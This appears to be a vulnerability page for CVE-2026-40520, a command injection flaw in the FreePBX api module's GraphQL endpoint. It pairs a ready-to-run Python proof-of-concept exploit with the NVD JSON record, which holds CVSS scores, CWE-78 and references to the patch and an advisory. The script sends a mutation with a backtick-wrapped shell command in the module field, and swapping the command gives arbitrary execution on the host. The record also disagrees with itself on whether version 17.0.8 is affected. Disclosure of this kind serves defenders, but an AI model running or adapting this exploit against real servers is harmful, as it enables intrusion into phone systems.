CVE-2026-40520

import requests # Target URL (Adjust based on actual install path) target_url = "http://target-freepbx/admin/api/api/gql" # Authentication: Requires a valid Bearer Token # An attacker must obtain this via other means or valid credentials bearer_token = "VALID_BEARER_TOKEN_HERE" headers = { "Authorization": f"Bearer {bearer_token}", "Content-Type": "application/json" } # GraphQL Mutation to exploit command injection # The payload uses backticks (`) to execute the shell command 'id' graphql_payload = { "query": """ mutation { moduleOperations(module: "`id`") { status message } } """ } try: response = requests.post(target_url, json=graphql_payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) # Check if command output is present in response else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-40520", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:20.380", "lastModified": "2026-04-23T16:27:06.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreePBX api module version 17.0.8 and prior contain a command injection vulnerability in the initiateGqlAPIProcess() function where GraphQL mutation input fields are passed directly to shell_exec() without sanitization or escaping. An authenticated user with a valid bearer token can send a GraphQL moduleOperations mutation with backtick-wrapped commands in the module field to execute arbitrary commands on the underlying host as the web server user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freepbx:api:*:*:*:*:*:*:*:*", "versionEndExcluding": "17.0.8", "matchCriteriaId": "9E2897D6-C79D-459C-AD3D-E5FB580F4157"}]}]}], "references": [{"url": "https://github.com/FreePBX/api/blob/5f194e39a47e5481e8947f9694304d32724175f6/Api.class.php#L546C1-L554C3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreePBX/api/blob/5f194e39a47e5481e8947f9694304d32724175f6/ApiGqlHelper.class.php#L34C1-L36C136", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreePBX/api/commit/5f194e39a47e5481e8947f9694304d32724175f6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.vulncheck.com/advisories/freepbx-api-module-command-injection-via-graphql", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}